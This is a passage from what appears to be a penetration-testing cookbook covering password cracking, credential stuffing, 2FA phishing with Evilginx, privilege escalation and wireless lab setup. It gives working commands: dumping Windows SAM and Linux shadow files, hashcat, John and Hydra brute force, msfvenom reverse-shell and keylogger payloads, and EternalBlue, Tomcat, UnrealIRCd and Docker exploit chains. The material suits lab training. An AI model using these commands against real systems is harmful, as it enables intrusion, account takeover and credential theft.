mkdir c:\inetpub\wwwroot\hash
copy c:\Windows\System32\config\SAM c:\inetpub\wwwroot\hash\
copy c:\Windows\System32\config\SYSTEM c:\inetpub\wwwroot\hash\
7. Close the command prompt, click the Restart button, and allow the VM to boot normally.
8. From Kali, open a terminal window and enter the following commands to move the col-
lected file to our Metasploitable Windows VM:
mkdir ~/hash
cd ~/hash
ftp [Link]
Chapter 9 351
(use the IP address of your Metasploitable Windows VM) and use the following creden-
tials to log in.
10. Let’s use hashcat and the popular rockyou wordlist to try and decipher the hashes. This
method looks for common password hashes:
hashcat -m 1000 -a 0 [Link] /usr/share/wordlists/[Link]
Tip
The -m specifies the types of hashes. 1000 is for NTLM. Check out all the
options at [Link]
11. In the preceding highlighted output, the first line with no password indicates a blank
password.
Chapter 9 353
12. Let’s identify the usernames associated with the passwords. I’m pretty sure we can guess
the username associated with Vagrant, so let’s check the other one:
cat [Link] | grep
The output shows that that the c_three_pio user’s password is pr0t0c0l.
How it works…
Using local access to the machine and credentials obtained elsewhere, or perhaps using the prior
recipe, we obtain the SYSTEM and SAM files. This can also be done by booting from a USB with
Kali. If you were to do this, no username or password would be required. Once we have the files,
we dump the hashes and then use hashcat with the popular [Link] wordlist to obtain the
passwords and match them against the users.
See also…
For more information on using samdump2, check out this website: [Link]
samdump2/, or for information on hashcat, check out this website: [Link]
hashcat/.
Getting ready…
You need the following to complete this recipe:
How to do it…
1. Open a terminal window in Kali.
2. Start Metasploit by entering:
sudo msfdb run
3. Now get the SMB version information. Early versions of SMB are weak and use weak
encryption to protect passwords.
use auxiliary/scanner/smb/smb_version
set RHOSTS [Link]
run
4. Let’s try to dump the password hashes. This example assumes we do not have a valid
username and password.
use auxiliary/scanner/smb/smb_login
set RHOSTS [Link]
set USER_FILE /usr/share/metasploit-framework/data/wordlists/
[Link]
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/
[Link]
run
Chapter 9 355
5. This will take a long time and will involve enumerating the passwords. Since we already
have a valid username and password, we are going to exit out from using the running
process by typing the following:
<CONTROL> c
6. As we do have a valid username and password, we can directly dump the hashes that we
can use for password cracking:
use auxiliary/gather/windows_secrets_dump
set RHOSTS [Link]
set SMBUser vagrant
set SMBPass vagrant
run
From the other terminal window, copy the hashes and paste them into nano.
8. This time, let’s use John the Ripper to crack the passwords with a wordlist:
john --format=nt [Link] \
--wordlist=/usr/share/wordlists/[Link]
You will see the credentials we obtained. Note the administrator password is vagrant as
well.
How it works…
In this recipe, we used the SMB protocols to obtain the hashes from the Metasploitable Windows
VM remotely. Once we have the hashes, in this case, we use John the Ripper and the same rockyou
wordlist from the previous recipe to break the hashes.
See also…
John the Ripper is an extremely popular password cracker. More information can be found at
[Link]
Getting ready…
You need the following to complete this recipe:
How to do it…
1. Log in to the Metasploitable machine with vagrant/vagrant.
2. Open a terminal window on the Metasploitable Ubuntu machine and enter the following
command to copy the Linux password files:
cd
mkdir ubuntu_hash
sudo cp /etc/passwd ~/ubuntu_hash/
sudo cp /etc/shadow ~/ubuntu_hash/
sudo chmod 644 ~/ubuntu_hash/shadow
3. Now move to the Kali machine, open a terminal window, and enter the following com-
mands:
cd
mkdir ubuntu_hash
cd ubuntu_hash
ftp [Link]
7. Take note of the beginning of the hash. If you look at vagrant, it starts with $6$ and
c_three_pio starts with $1$. These indicate two different hash types. This means we
need to try cracking these files with a couple of different methods.
Tip
John the Ripper can work with several different hash types. Here are a couple
of common ones:
• $1$: MD5 Crypt
• $5$: SHA256 Crypt
• $6$: SHA512 Crypt
Chapter 9 359
9. After several minutes, the output will show, with the vagrant username and password
from the hash. But also note the warning that is provided:
How it works…
While having superuser account passwords makes obtaining the shadow file (shown in step 2)
very easy, you can also buy the Kali Live USB drive and access it without the need to know a
password or administrative access. In this case, we capture the files, combine them, and then
run John the Ripper against the file with the rockyou word list.
See also…
While the rockyou list is a good word list, there are many more word lists out there. Some word
lists will combine word lists from prior hacking incidents. Take a look at these word lists:
• [Link]
htm
• [Link]
Getting ready…
You need the following to complete this recipe:
How to do it…
1. Open a terminal window.
2. You can use the [Link] files from either of the last two recipes. In our example, we will
use the last one.
Chapter 9 361
3. From the terminal window, enter the following to perform a brute-force attack on the
[Link] file in the remote_hash directory:
cd ~/remote_hash
john --format=nt --incremental=ascii [Link]
Tip
4. From the terminal window, press the space bar. Here, you will see the status of the one
thread you have running. To exit and end the brute force, type the following:
<CONTROL> c
5. Let’s move directly on to the next recipe to gain some usage on how to make John the
Ripper a bit more aggressive.
How it works…
We started John the Ripper in brute-force mode using the ASCII character set. The full ASCII
character set will be the longest running, but will provide the best results. However, unless you
have some advanced hardware or are very lucky, this will take days to weeks before it gets a hit.
During this time, your PC will be very busy, and you will see high CPU utilization.
362 Breaking Barriers: the Secrets of Password Cracking
Note
From a learning perspective, it would be better to complete the task in the previous
recipe before you start this one, but this is not a requirement.
Getting ready…
We need the following to complete this recipe:
How to do it…
1. From the same terminal window, let’s restart John using the following:
john --format=NT --incremental=ASCII --fork=4 [Link]
2. Once it starts, you may hear your host machine ramp up. The –-fork=4 option tells it
how many threads John will use. We are using four, and therefore, we are operating four
times as fast. This can be ramped up based on the number of processors and cores you
have available on the host machine and have allocated to the VM.
3. Now hit the space bar again to review the output:
The number on the left indicates the thread (note there are 4). The 0g means it has found
0 passwords. Next, there is the total runtime. The p/s is how many passwords per second
are being tried per thread.
4. You can press the space bar at any time to get a status.
5. What if you need to work with your computer during the day and only want to run this
at night? In that case, enter the following to exit – ensure you only hit this once:
<CONTROL> c
6. To pick up where you left off, you can start it back up with the same command:
john --format=NT --incremental=ASCII --fork=4 [Link]
7. If you need to work on different files at different times, you can name your session by
adding --session=, as shown here:
<CONTROL> c
john --format=NT --incremental=ASCII --fork=4 –-session=my-hash
[Link]
Tip
You can also use only one of these, for instance, if you know they have a
password complexity that requires a minimum of 8 characters.
11. You can now terminate the brute force and exit the terminal window. Or, if you prefer,
you may leave it running and continue to brute-force the passwords for as long as you
like. You can always obtain the status by hitting the space bar.
364 Breaking Barriers: the Secrets of Password Cracking
How it works…
In this recipe, we optimized John the Ripper by enabling multiple threads, allowing it to test
passwords in parallel and greatly speeding up the brute-force process. We also explored how to
pause and resume sessions, as well as how to narrow the search space by defining minimum and
maximum password lengths. These adjustments make attacks more efficient.
See also…
More information on John the Ripper can be found here: [Link]
Getting ready…
You need the following to complete this recipe:
How to do it…
1. Determine the IP address of your bee-box host.
2. From Kali, open a web browser and ensure the bee-box web interface is up. Browse to
[Link] the IP address of your bee-box host).
3. Let’s run CeWL against the website by entering the following commands:
cd
mkdir mywordlists
cd mywordlists
cewl [Link] -w bb_wordlist.txt
4. Let’s look at our results. The results are related to information found on the website.
cat bb_wordlist.txt
Chapter 9 365
Tip
Some options you can use with CeWL are the following:
How it works…
CeWL creates a custom wordlist by scraping the website for words and adds them to a file. Often,
when people work for a company, they may use keywords as a portion of their password.
See also…
More information and options on CeWL can be found here:
[Link]
366 Breaking Barriers: the Secrets of Password Cracking
Getting ready…
You need the following to complete this recipe:
How to do it…
1. Open a terminal window.
2. First, clean up your file and reduce the number of words using the following:
cd mywordlists
nano bb_wordlist.txt
6. If successful, you will be presented with no output, but a new file named bb_big_wordlist.
txt will be created.
Chapter 9 367
Tip
If you have more than five words in your input file, you will get a warning
informing you that you are about to create a large file. Also, creating this file
will take quite some time.
7. Let’s see how many words were created from our four words of input by entering the
following:
wc bb_big_wordlist.txt
8. Now take a look at the output and note the large number of words in our list by using
the following:
cat bb_big_wordlist.txt
How it works…
RSMangler basically mutates the input words and augments them in various ways that a per-
son might use for their password, such as case toggles or substitutions, or l33t speak. However,
without adding limits, a very small number of words will create a large output. For instance, 5
words will be mutated into 100,000 entries. RSMangler grows exponentially, so you want to be
very careful with your input values.
See also…
More information on RSMangler can be found at [Link]
Getting ready…
You need the following to complete this recipe:
How to do it…
1. Open a terminal window in Kali.
2. Create a payload file for your key logger using msfvenom (substitute the IP address of your
Kali machine for LHOST):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[Link]
LPORT=4444 -f exe -o [Link]
Tip
At this point, we are not trying to obfuscate or worry about transferring the
files – those skills were taught in previous recipes.
Chapter 9 369
3. Now move the payload to the Windows machine – we can accomplish this via FTP.
ftp [Link] (use your Windows machine IP address)
bin
put [Link]
exit
4. Start Metasploit:
sudo msfdb run
6. Log in to your Windows machine and open the file manager. Navigate to c:\inetpub\
wwwroot and you should see the [Link] file. Double-click on it.
Tip
You will receive no feedback, but you may see the hourglass briefly.
7. Go back to the Kali VM. You will now see a new session created.
9. Back on the Windows machine, open Notepad and add some text to it.
How it works…
In this recipe, we created a payload for meterpreter that had keylogging capabilities. We started
our listener and launched the payload on the Windows machine. This will grab every key stroke
entered. It will even capture the errors if you look closely at the keyscan_dump output.
There’s more…
Keylogging has been around for a while and has evolved over time. There are even hardware
keyloggers that can sit between the computer and the keyboard, capturing the input without
compromising the PC itself. An example of hardware-based commercial keyloggers can be seen
here: [Link]
372 Breaking Barriers: the Secrets of Password Cracking
Attacking 2FA
In this recipe, you will learn a method to bypass two-factor authentication (2FA), through the
use of a fake/proxy website that can capture the tokens associated with a real site.
Getting ready…
You need the following to complete this recipe:
How to do it…
1. Open a web browser on Kali and navigate to [Link]
evilginx2-phishlets/tree/master/phishlets.
2. Review the list of phishlets available.
Note
A phishlet is a YAML config file that mimics a legitimate login page used for
phishing. These may require additional work to be more accurate, but are
fine in their native form for our lab purposes.
Tip
The -developer switch puts the tool in a mode to use for a lab environment.
This means it will not try and obtain a real certificate for the site.
Chapter 9 373
6. Ensure you see the GitHub phishlet listed in the first column of the output:
7. Now set up some of the defaults we need for our test using the following:
9. Now configure the lure and make note of the lure URL shown in the output:
lures create github
lures (identify the id of the lure associated with github)
lures get-url 1 (substitute the lure ID for github)
11. Add the entry, then save and exit nano using the following:
[Link] [Link]
Tip
For demonstration purposes, we will be using the browser of the Kali ma-
chine; therefore, we can just use the loopback address. In a real-world sce-
nario, you would have this IP address registered in the DNS, or you would
be spoofing the DNS to return this.
12. Close this terminal window. Ensure you leave the Evilginx terminal window open.
13. Open your web browser and navigate to the URL identified in step 9. Accept the security
risk of the certificate.
Tip
14. You will be presented with a GitHub login page (it’s a bit off – as I mentioned, work would
be required to make it appear realistic).
17. You can also review this information by entering the following:
19. Under the cookies information is the captured session information that you can use to craft
a cookie that identifies you as the authenticated user, thereby allowing you into GitHub.
20. You may now exit and close the terminal window.
How it works…
Evilginx can mimic a website to spoof a user into believing that they are logging into the authentic
site. With a little work, a registered pseudo domain, and an obtained certificate, a user would
not recognize (without inspecting the URL) that they are not on the real site. As the user logs
in, Evilginx captures the username and password, but more importantly, the token information
for an authentication cookie that will allow you access to this user’s account. Evilginx provides
redirects so the user would actually see all of the GitHub information even after logging in.
See also…
Evilginx also has a commercial version called Evilginx Pro, which is more advanced. You can
review it here: [Link]
Getting ready…
We need the following to complete this recipe:
How to do it…
1. In Kali, open a terminal window.
2. To speed up the exercises, we will create our own lists of users using the following:
cd
nano [Link]
378 Breaking Barriers: the Secrets of Password Cracking
As you can see in Figure 9.31, we were able to find usernames and passwords.
3. If any passwords in the rockyou file matched any of the users in the users file, they would
be displayed as well.
3. This would launch the attack against LDAP using your word list and target IP address.
380 Breaking Barriers: the Secrets of Password Cracking
I created a file with my username and password in it for demonstration purposes, called
[Link].
3. The output will show you a hit on the username and password.
As you can see, our attack has successfully uncovered the credentials.
How it works…
Hydra is an extremely robust and efficient tool for cracking accounts. In this case, we shortcut
the operation by using a custom word list.
See also…
More information on Hydra can be found at [Link] and https://
[Link]/vanhauser-thc/thc-hydra.
Getting ready…
We need the following to complete this recipe:
How to do it…
1. We will be using the username and password list from the previous recipe.
2. Log in to your Windows VM.
3. Open Control Panel | Administrative Tools | Services and ensure that Remote Desktop
is running. If it is not, start the service.
4. Add a user to the RDP group: Control Panel | Computer Management | Local Users and
Groups | Groups | Remote Desktop Users.
5. Select Add.
6. Type in vagrant, then select OK to close the Select Users dialog box. Then click Apply
and OK.
7. Open a terminal window in Kali Linux and enter the following, substituting the appro-
priate IP address of the Windows VM:
cd
hydra -L [Link] -P [Link] rdp://[Link]
384 Breaking Barriers: the Secrets of Password Cracking
You will see that we were able to identify a valid login for RDP.
8. You may now close the terminal window and the Windows VM.
How it works…
After ensuring that RDP is enabled and a user is added to the remote access group, we launch
Hydra to attack RDP with a username and password list.
See also…
More information on Hydra can be found at [Link] and https://
[Link]/vanhauser-thc/thc-hydra.
Chapter 9 385
Getting ready…
You need the following to complete this recipe:
How to do it…
1. We will be using the username and password list from the previous recipe. Our target ma-
chines do not have VNC on them, so we will run this against our own Kali machine as a test.
2. Let’s install VNC. From a terminal window enter the following:
cd
sudo apt update
sudo apt install tightvncserver
4. If VNC was previously installed and started it will not ask for the password. To set a new
password enter the following:
vncpasswd
5. Let’s use Hydra again to crack our password on VNC. Substitute your Kali Linux IP address
into the following:
hydra -P [Link] -s 5901 [Link]
6. You will see Hydra was able to discover our password for VNC.
How it works…
Upon installing VNC, we could launch a password attack against the VNC server. For the example
here, VNC only used a single-factor authentication of just the password.
See also…
More information on Hydra can be found at [Link] and https://
[Link]/vanhauser-thc/thc-hydra.
Getting ready…
You need the following to complete this recipe:
How to do it…
Open a terminal window in Kali.
Zip files
1. Create a text file to encrypt and zip it with a password and delete the original message
using the following:
cd
echo "this is a secret zip file" > secret_z.txt
zip --password lsdg54 [Link] secret_z.txt
rm secret_z.txt
2. Now we have to extract the hash for the file so we have something we can brute-force.
Use the following:
zip2john [Link] > [Link]
Tip
ZIP files use relatively weak encryption; the shortcut is to customize the
attack accordingly.
Tip
Now enter the password you discovered and you will see the message.
cat secret_z.txt
RAR files
1. Start by installing RAR:
cd
sudo apt install rar
2. Create a text file to encrypt and rar it with a password, and delete the original message
using the following:
cd
echo "this is a secret rar file" > secret_r.txt
rar a -pmonkey [Link] secret_r.txt
rm secret_r.txt
Tip
4. Now run john using the wordlist we created earlier, in Cracking FTP/Telnet/SSH passwords.
john -w ~/[Link] [Link]
How it works…
In both examples, we had to extract the hash file from the file itself, to run john against. In the
case of the ZIP file, we were able to use a brute-force attack within a reasonable amount of time.
In the case of RAR files, we used a wordlist, as a brute-force attack would have taken a significantly
long amount of time.
Stuffing credentials
In this recipe, you will uncover how attackers recycle stolen credentials from one breach to com-
promise multiple accounts. This is more of a methodology than a technical recipe, in which we
will discuss how it works. You would apply this recipe in building username and password lists
in other recipes in this book.
Getting ready…
You need the following to complete this recipe:
How to do it…
1. Credential stuffing will typically rely on a breach of one site. In some ways, we have been
doing this as we discover usernames and passwords, and we add them to our lists that
we use for targeting services.
2. Credentials can be obtained in a few different ways.
• You breached a service and were able to obtain its username and password files
• You purchased or obtained the credentials from the dark web
• A wordlist was built from breached passwords (many wordlists are built like this,
but they don’t contain the usernames)
3. Often, this will require access to the dark web through Tor or Tor Browser.
4. Once you have obtained your lists of usernames and passwords, these will be formatted
in a combined manner. The file will be formatted as username:password.
5. You would then take that file and use it as the basis of an attack against common services
such as Facebook, Google, LinkedIn, Microsoft, X, and so on.
Chapter 9 391
6. If you were to use Hydra, you would use the -C option, pointing to the combined file, as
shown here:
hydra -C combined_file.txt <SERVICE>
How it works…
Credential stuffing does not rely on guessing passwords. It’s designed to take valid usernames
and passwords from one system and try them on others. This relies on the fact that users often
reuse passwords. Further, more and more services rely on email addresses for usernames, so it’s
easy to gain at least half of the login credentials.
See also…
A couple of interesting articles regarding credential stuffing can be read at [Link]
www-community/attacks/Credential_stuffing and [Link]
bots/what-is-credential-stuffing/.
Note: Keep your invoice handy. Purchases made directly from Packt
don’t require one.
10
Climbing the Ladder: Mastering
Privilege Escalation
In this chapter, you will learn about a critical phase in penetration testing that focuses on tran-
sitioning from a compromised low-privilege account to full administrative or root-level control
over a target system. This chapter provides a hands-on exploration of the techniques and vul-
nerabilities attackers exploit to elevate privileges in both Windows and Linux environments.
Through a series of practical recipes, you’ll learn how to recognize exploitable misconfigurations,
leverage vulnerable services and applications, and chain together multiple exploits to break
through privilege boundaries.
The chapter begins by examining common privilege escalation vectors in Windows, such as appli-
cation flaws and weak service configurations, before moving on to multi-stage chaining attacks
that reflect real-world red team scenarios. We then turn to Linux-based systems, demonstrating
both direct root-level escalation and advanced chaining techniques that build on initial footholds.
Whether you’re exploiting a vulnerable setuid binary, bypassing UAC in Windows, or combining
kernel exploits with enumeration tools in Linux, this chapter equips you with the mindset and
methods to systematically climb the escalation ladder.
Technical requirements
We will be using the Kali Linux, Ubuntu, and Windows Metasploitable3 VMs.
Getting ready
We need the following to complete this recipe:
How to do it…
1. Open a terminal window.
2. Start Metasploit by entering sudo msfdb run.
3. We will attack Apache Tomcat on the Windows VM via an insecure username and pass-
word. Use the following:
use exploit/multi/http/tomcat_mgr_upload
set RHOST [Link] (IP Address of Windows VM)
set RPORT 8282
set HTTPUSERNAME sploit
set HTTPPASSWORD sploit
set TARGET 1
Tip
Some exploits have specific targets that can be engaged. To review the avail-
able targets, you can enter show targets with the exploit loaded.
Chapter 10 395
4. You will see that the attack was successful and opened a new Meterpreter session.
You will see that we have obtained elevated privileges by exploiting Apache Tomcat.
How it works…
In this recipe, we were able to exploit a known vulnerability in Apache Tomcat. Since the appli-
cation is installed and operating with elevated privileges, we were able to use it to gain are own
elevated privileges.
See also…
For additional information on Windows application privilege escalation techniques, please review
the following resources:
• [Link]
• [Link]
source=[Link]
Getting ready
• A Kali Linux VM that is up and operational
• A Windows Metasploitable VM that is up and operational
How to do it…
1. Open a terminal window.
2. Start Metasploit by entering sudo msfdb run.
3. We will attack the Windows SMB process using a well-known exploit called EternalBlue.
Enter the following:
use exploit/windows/smb/ms17_010_eternalblue
set RHOST [Link] (IP Address of windows VM)
set LHOST [Link] (IP address of Kali)
set LPORT 4444
Chapter 10 397
Metasploit will first test the SMB process for exploitability and then will make multiple
varied attempts to exploit the vulnerability, finally opening a Meterpreter shell.
4. Test your privilege level with the following and you will get the output as shown in
Figure 10.5:
getuid
How it works…
In this example, we exploited a system service, SMB, that inherently carries system-level privileg-
es. The exploit first scanned to see whether it believed the system was vulnerable to this exploit.
Then, it chose, based on information it collected, various methods for exploiting. In Figure 10.4,
you saw the first attempt failed. However, the process continued and provided us with the final
exploited sessions with the escalated privileges.
See also…
More information on EternalBlue can be found in this Microsoft bulletin: [Link]
[Link]/en-us/security-updates/securitybulletins/2017/ms17-010. This post
provides additional details on how the exploit works: [Link]
eternalblue-nsa-developed-exploit-just-wont-die/.
Getting ready
• A Kali Linux VM that is up and operational
• A Windows Metasploitable VM that is up and operational
Chapter 10 399
How to do it…
1. Logged in as vagrant/vagrant to the Windows VM, let’s modify a user profile. Go to
Control Panel | Administrative Tools | Computer Management.
2. Expand Users and select leia_organa.
3. Make the user part of the Remote Desktop Users group. Select Member Of, then Add….
Search for Remote Desktop Users, then click Ok | Apply | OK.
4. Back on the Users screen, right-click and select Set Password…. In the next dialog box,
click Proceed. Enter help_me_obiwan for the password.
5. Now move to a Kali terminal window. Create an exploit, as follows. This will open a Me-
terpreter session on the remote machine:
cd
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[Link]
LPORT=4444 -f exe -o [Link]
400 Climbing the Ladder: Mastering Privilege Escalation
7. Start Metasploit:
sudo msfdb run
Note
Step 9 is just a way to have the user launch the shell. Normally, the user would
initiate this through some form of phishing or some other technique. We
are doing this to just start our initial Meterpreter session.
10. From the Windows session, open the file manager and browse to c:\inetpub\wwwroot,
then execute [Link].
11. Return to the original terminal session with the Meterpreter handler running and you
will see a new session created, as shown:
12. Let’s see what our current session looks like. Type the following:
getuid
You will see that you have attained the rights to leia_organa.
13. Let’s background the session so we can work on another step without ending the current
session and note down the session number:
background
14. Let’s see whether we can use the exploit suggester for ideas on how to further exploit
the machine. Enter the following and make sure to use the previously recorded session
number:
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
When complete, you will see a list of possible exploits to run against the Windows ma-
chine to gain privilege escalation.
15. Let’s use a simple second-stage exploit to gain admin privileges based on the username
and password we previously obtained. Enter the following:
use exploit/windows/local/run_as
set SESSION 1
set LHOST [Link]
set LPORT 4445
set USER vagrant
set PASSWORD vagrant
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
16. Let’s check our new session to confirm that we now have admin privileges through the
vagrant user:
getuid
17. You can now close down and exit the remote desktop and Meterpreter sessions.
How it works…
In this case, we used an initial exploit, which provided us with access to an unprivileged user.
Next, we ran the exploit suggester to give us a list of possible exploits that would be successful
against the target session. Lastly, we used a second-stage exploit against our initial unprivileged
session, which provided us with admin privileges through the vagrant user.
404 Climbing the Ladder: Mastering Privilege Escalation
See also…
For more information on chaining multiple exploits for privilege escalation in Windows, check
out the following sites:
• [Link]
assumptions-techniques-for-privilege-escalation-on-windows-part-1
• [Link]
assumptions-techniques-for-privilege-escalation-on-windows-part-2
• [Link]
assumptions-techniques-for-privilege-escalation-on-windows-part-3
Getting ready
• A Kali Linux VM that is up and operational
• A Metasploitable Ubuntu VM that is up and operational
How to do it…
1. From a terminal window in Kali, start Metasploit:
sudo msfdb run
2. From the Metasploit console, we will use a previously identified vulnerable application—
IRC. Enter the following:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS [Link] (IP Address of your metasploitable ubuntu
machine)
set RPORT 6697
set PAYLOAD cmd/unix/reverse
set LHOST [Link] (IP Address of Kali)
set LPORT 4444
run
Chapter 10 405
As you can see, we are just a normal user; however, we do have access to Docker, which
can prove useful by giving us control of the host’s Docker environment.
Tip
How it works…
In this recipe, we used a vulnerability in an application and a backdoor to provide us with user-level
access. While we unfortunately did not obtain root access, we did gain user-level access. However,
since this is also a member of the Docker group, we have access to the Docker environment that
we could manipulate. If our goal was to be able to manipulate the Docker environment, we gained
sufficient privilege escalation at this point.
See also…
For additional information on Linux privilege escalation, please review this article:
[Link]
tips/
Getting ready
• A Kali Linux VM that is up and operational
• An Ubuntu Metasploitable VM that is up and operational
How to do it…
1. From a terminal window in Kali, start Metasploit:
sudo msfdb run
2. From the Metasploit console, we will use a previously identified vulnerable application—
IRC. We will use the same attack as the previous recipe, just altering the payload based
on the exploit:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS [Link] (IP Address of your Metasploitable ubuntu
machine)
set RPORT 6697
Chapter 10 407
3. Let’s send that session to the background and note what session number it is by entering
the following:
background
4. Now that we have made our initial connection, let’s begin the second stage of our attack,
using an exploit in Docker. Use the following:
use exploit/linux/local/docker_daemon_privilege_escalation
set SESSION 2 (Session number previously recorded)
set LHOST [Link]
set LPORT 4445
set PAYLOAD linux/x86/meterpreter/reverse_tcp
run
408 Climbing the Ladder: Mastering Privilege Escalation
How it works…
Privilege escalation might often involve chaining exploits together to achieve a specific outcome.
In this case, we took our previous experience of gaining access with an IRC backdoor. Next, we
used a Docker exploit that provided us with root access.
See also…
For more information on chained escalation techniques, please review this article: [Link]
[Link]/security-labs/unlocking-power-safely-privilege-escalation-via-linux-
process-capabilities.
Chapter 10 409
Getting ready
• A Kali Linux VM that is up and operational
• A Windows Metasploitable VM that is up and operational
How to do it…
1. From a terminal window in Kali, start Metasploit:
sudo msfdb run
2. In the Cracking local Windows passwords recipe from Chapter 9, we were able to brute force
a user (c_three_pio) that just had user access. We are going to use that as a starting
point for our attack:
use auxiliary/scanner/ssh/ssh_login
set RHOSTS [Link] (Ubuntu IP address)
set USERNAME c_three_pio
set PASSWORD pr0t0c07
run
3. A new session was automatically created and put in the background. Use the following
command to view the created session:
sessions
4. Let’s take our session and make it a Meterpreter session using the following code. Meter-
preter is powerful and flexible:
sessions -u 1
5. You can see a new session was created and automatically put in the background. Use the
following to view it:
sessions
6. Let’s use our exploit suggester to see whether it has any ideas:
use post/multi/recon/local_exploit_suggester
set SESSION 2
run
Chapter 10 411
As you can see, a new session was created from the second stage of the attack.
8. From this new section, let’s see what type of access we have by entering the following:
getuid
How it works…
In this scenario, we started off logged in as just a standard user. From there, we turned this SSH
session into a Meterpreter session. We were then able to use some advanced techniques to scan
for potential vulnerabilities to gain elevated privilege. We selected and launched one of these
suggested exploits and obtained root access.
See also…
This is a great research paper on chained exploit execution with the use of AI to identify poten-
tial chained escalation flows: [Link]
[Link].
Chapter 10 413
Note: Keep your invoice handy. Purchases made directly from Packt
don’t require one.
11
Wireless Warfare: Dominating
the Airwaves
In this chapter, we will explore the techniques and tools used to assess and attack wireless net-
works. Wireless environments introduce unique vulnerabilities, such as misconfigured access
points to easy-to-spoof environments. This chapter guides you through building a controlled lab
for Wi-Fi testing and walks you through tactics used against wireless networks.
You will begin by setting up a wireless testing environment with a supported adapter and a target
access point. From there, you will learn how to scan for visible and hidden SSIDs, analyze collected
wireless traffic, and launch denial-of-service (DoS) attacks against client devices. You’ll capture
WPA2 handshakes and crack them using wordlist attacks, bypass MAC-based authentication by
spoofing authorized clients, and execute rogue access point attacks to harvest sensitive credentials
through deceptive captive portals.
These recipes highlight how wireless attacks combine attacks and social engineering to compro-
mise network security.
Technical requirements
The recipes in this chapter rely on a controlled wireless testing environment built using a com-
patible wireless adapter and a configurable travel router to be used as the target of our testing.
For wireless scanning and attack capabilities, we use the ALFA AWUS036ACM USB wireless adapt-
er, which is based on the MediaTek MT7612U chipset. This adapter was selected due to its native
support in modern Kali Linux builds, eliminating the need for additional drivers. It supports both
2.4 GHz and 5 GHz frequencies and is capable of monitor mode and packet injection. These are
essential features for effective wireless penetration testing that may not be available in the built-in
wireless adapter. The adapter is connected to the host system and passed through to the Kali VM.
As the target access point, we use the [Link] Opal (GL-SFT1200) travel router. This device runs
OpenWrt-based firmware, offering a wide range of configuration options. The Opal is low-cost,
readily available, and ideal for simulating realistic wireless environments in a lab setting. The
Opal can be easily adjusted to support each test scenario.
Together, this hardware forms the basis of our wireless lab environment. This setup ensures that
all recipes in this chapter can be executed safely and consistently, without reliance on internet
connectivity or impacting legitimate wireless connectivity.
Getting ready
You need the following to complete this recipe:
How to do it…
1. From your Windows host machine, ensure that you can access the internet by opening a
browser window and navigating to [Link]
2. Your existing testing environment should look similar to the following figure. The Kali
testing environment is directly connected via Ethernet to your existing network.
Tip
If you are having problems accessing the internet, try the following:
Tip
The travel router will normally use the [Link]/24 subnet when de-
faulted. If it is not using this subnet, you can open a command prompt on
the Windows host machine and use ipconfig to determine the subnet.
Then, navigate to the default gateway IP address listed. Make note of this
IP address for future use.
10. Select your preferred language and set a password for the router.
11. You may now close the web interface.
12. Connect the supplied USB cable that came with the ALFA wireless adapter to an available
USB 3 port of the host Windows machine.
13. Plug the other end into the ALFA wireless adapter.
14. Your connections should now look like the following figure, where your Kali testing envi-
ronment connects to the Wi-Fi router on the LAN port and your existing network connects
to the WAN port of the Wi-Fi router:
15. From the host computer, go to Settings | Devices | Bluetooth & other devices and scroll
down to Other devices, where you should see 802.11ac Wireless LAN Card.
Chapter 11 419
20. Under USB Device Filters, click the Add button with the green plus sign:
26. Validate that you see the MediaTek device in the output:
Tip
If the lsusb command hangs or you don’t see the MediaTek device, try dis-
connecting for a minute and reconnecting the wireless adapter to the host.
Also, you may need to try rebooting the host and Kali machines.
27. Now, we must set the regulatory domain for your physical location.
28. To check what our regulatory domain is set for, use the following:
iw reg get
29. To set it to the US, use the following. If not in the US, please replace with your regulatory
domain:
sudo iw reg set US
When you complete this chapter, you can restore your original connectivity.
How it works…
This recipe is very straightforward for setting up your wireless lab environment. We inserted the
Opal router between our LAN and our host PC. Further, we connected the ALFA wireless adapter
to our host PC, and most importantly, we created a device filter that tells the Windows host PC
that we want Kali to have exclusive use of the device.
See also
More information on the ALFA AWUS036ACM can be obtained at [Link]
products/awus036acm_1?variant=40320133464136, and information on the [Link] Opal (GL-
SFT1200) can be found at [Link]
422 Wireless Warfare: Dominating the Airwaves
Getting ready
You need the following to complete this recipe:
• You must have completed the Building a WLAN testing environment recipe
• Kali Linux must be up and operational
• The ALFA (MediaTek) USB wireless adapter must be recognized by Kali (lsusb)
How to do it…
1. From Kali, open a web browser and go to the Opal travel router IP address
([Link] and log in.
2. From the main interface, click on WIRELESS, enable the 2.4 and 5 GHz radios, and set their
transmit power to Low. You may change the name, security, and password if you wish.
Note
Our travel router is in such close proximity to our antenna that setting the
power to Low will help reduce noise to other wireless access points around us.
5. Wireless adapter names may change. You can verify by either using ip link or iw dev
to validate.
Chapter 11 423
6. Let’s start capturing the beacon frames, scanning for our SSIDs, and dumping the infor-
mation:
sudo airodump-ng wlan0mon
Notice that the information being obtained provides the name (ESSID), channels (CH),
encryption (ENC), ciphers (CIPHER), and authentication (AUTH).
Notice too that we are only seeing the 2.4 GHz channels. In the US, there are 3 major
bands that we would need to monitor: 2.4 GHz, 5 GHz, and 6 GHz. You may not have a
full picture unless you scan them all.
Tip
Make note of the BSSID of your two broadcasting SSIDs – this will come in
handy in later recipes in this chapter.
If you will not be continuing to the next recipe in a short period of time, I would suggest logging
back in to the Opal Wi-Fi router and disabling the wireless.
How it works…
Wireless networks periodically broadcast beacon frames, which contain information about their
network. These beacons are transmitted by access points (APs) on a regular interval, allowing
nearby devices to discover available networks. When we place our ALFA AWUS036ACM wireless
adapter into monitor mode, it passively listens to all wireless traffic. Tools such as airodump-ng
capture these beacon frames and display the details of visible SSIDs.
Chapter 11 425
There’s more…
While airodump-ng is one of the most widely used tools for wireless scanning, there are several
alternatives and complementary tools worth exploring. For instance, bettercap includes power-
ful wireless reconnaissance capabilities with real-time data visualization and scripting support.
Tools such as Kismet provide continuous passive monitoring with logging, alerting, and even
device tracking capabilities.
For more on wireless reconnaissance and monitoring, visit the following links:
• airodump-ng: [Link]
• Kismet: [Link]
• bettercap: [Link]
Getting ready
You need the following to complete this recipe:
• You must have completed the Building a WLAN testing environment recipe
• Kali Linux must be up and operational
